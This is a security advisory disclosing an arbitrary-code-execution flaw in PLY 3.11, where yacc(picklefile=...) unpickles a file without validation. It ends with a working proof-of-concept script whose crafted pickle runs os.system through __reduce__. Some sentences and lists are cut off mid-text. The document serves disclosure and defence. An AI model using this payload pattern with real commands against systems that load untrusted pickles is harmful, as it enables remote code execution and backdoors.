
Undocumented RCE in PLY via `picklefile` Parameter
CVE ID: CVE‑2025‑56005
Disclosure Date: July 1, 2025
Affected Product: PLY (Python Lex‑Yacc)
Affected Version: 3.11 (PyPI distribution)
Vendor: PLY (Python Lex‑Yacc)
Affected Component:** ply/yacc.py` — `LRTable.read_pickle()` via `yacc(picklefile=...)`
An undocumented and unsafe feature in the PyPI‑distributed version of PLY 3.11 allows arbitrary code execution when the yacc() function is invoked with the picklefile parameter.
The picklefile parameter causes PLY to deserialize a .pkl file using Python’s pickle.load() without validation. Because Python’s pickle module supports execution of arbitrary code during deserialization (e.g., via __reduce__()), an attacker who can control the supplied pickle file can execute arbitrary code during parser initialization.
This parameter is not documented in the official PLY documentation or GitHub repository, yet it is active in the PyPI release.
attacker can control, replace, or influence the .pkl file passed to yacc(picklefile=...), they can achieve:
This may affect applications that load parser tables from:
ply.yacc.yacc(picklefile=...)LRTable.read_pickle() in ply/yacc.pyThis vulnerability presents elevated risk due to its stealthy nature and potential for persistence.
The picklefile parameter is undocumented in the official PLY documentation and GitHub repository. However, the PyPI‑distributed version of PLY 3.11 includes this functionality and processes the supplied file using pickle.load() without validation.
Because Python’s pickle module permits execution of embedded code during deserialization, a malicious pickle file can execute arbitrary code during parser setup, before any parsing logic is invoked.
At the time of writing, the maintainer has not publicly acknowledged this behavior.
This functionality can be abused to introduce persistent backdoors, particularly in environments where parser table files are:
Given the lack of documentation, silent execution path, and the high impact of unsafe deserialization, a CVE assignment is warranted to raise awareness and protect downstream users.
This proof of concept demonstrates arbitrary code execution when a malicious pickle file is supplied via the undocumented picklefile parameter.
The PoC:
When yacc(picklefile='exploit.pkl') is invoked, arbitrary code is executed during parser initialization.
import pickle
import os
from ply.lex import lex
from ply.yacc import yacc
tokens = ('EXAMPLE',)
def t_EXAMPLE(t):
r'example'
return t
def p_sample(p):
'sample : EXAMPLE'
pass
class Exploit:
def __reduce__(self):
cmd = 'touch /tmp/pwned && echo "VULNERABLE" > /tmp/pwned'
return (os.system, (cmd,))
malicious_data = {
'_tabversion': '3.11',
'_lr_action': {0: {}},
'_lr_goto': {0: {}},
'_lr_productions': [
(None, 0, 0, 0, Exploit())
],
'_lr_method': 'LALR'
}
with open('exploit.pkl', 'wb') as f:
pickle.dump(malicious_data, f)
parser = yacc(picklefile='exploit.pkl', debug=False, write_tables=False)
parser.parse('example')
picklefile parameter with untrusted or externally writable files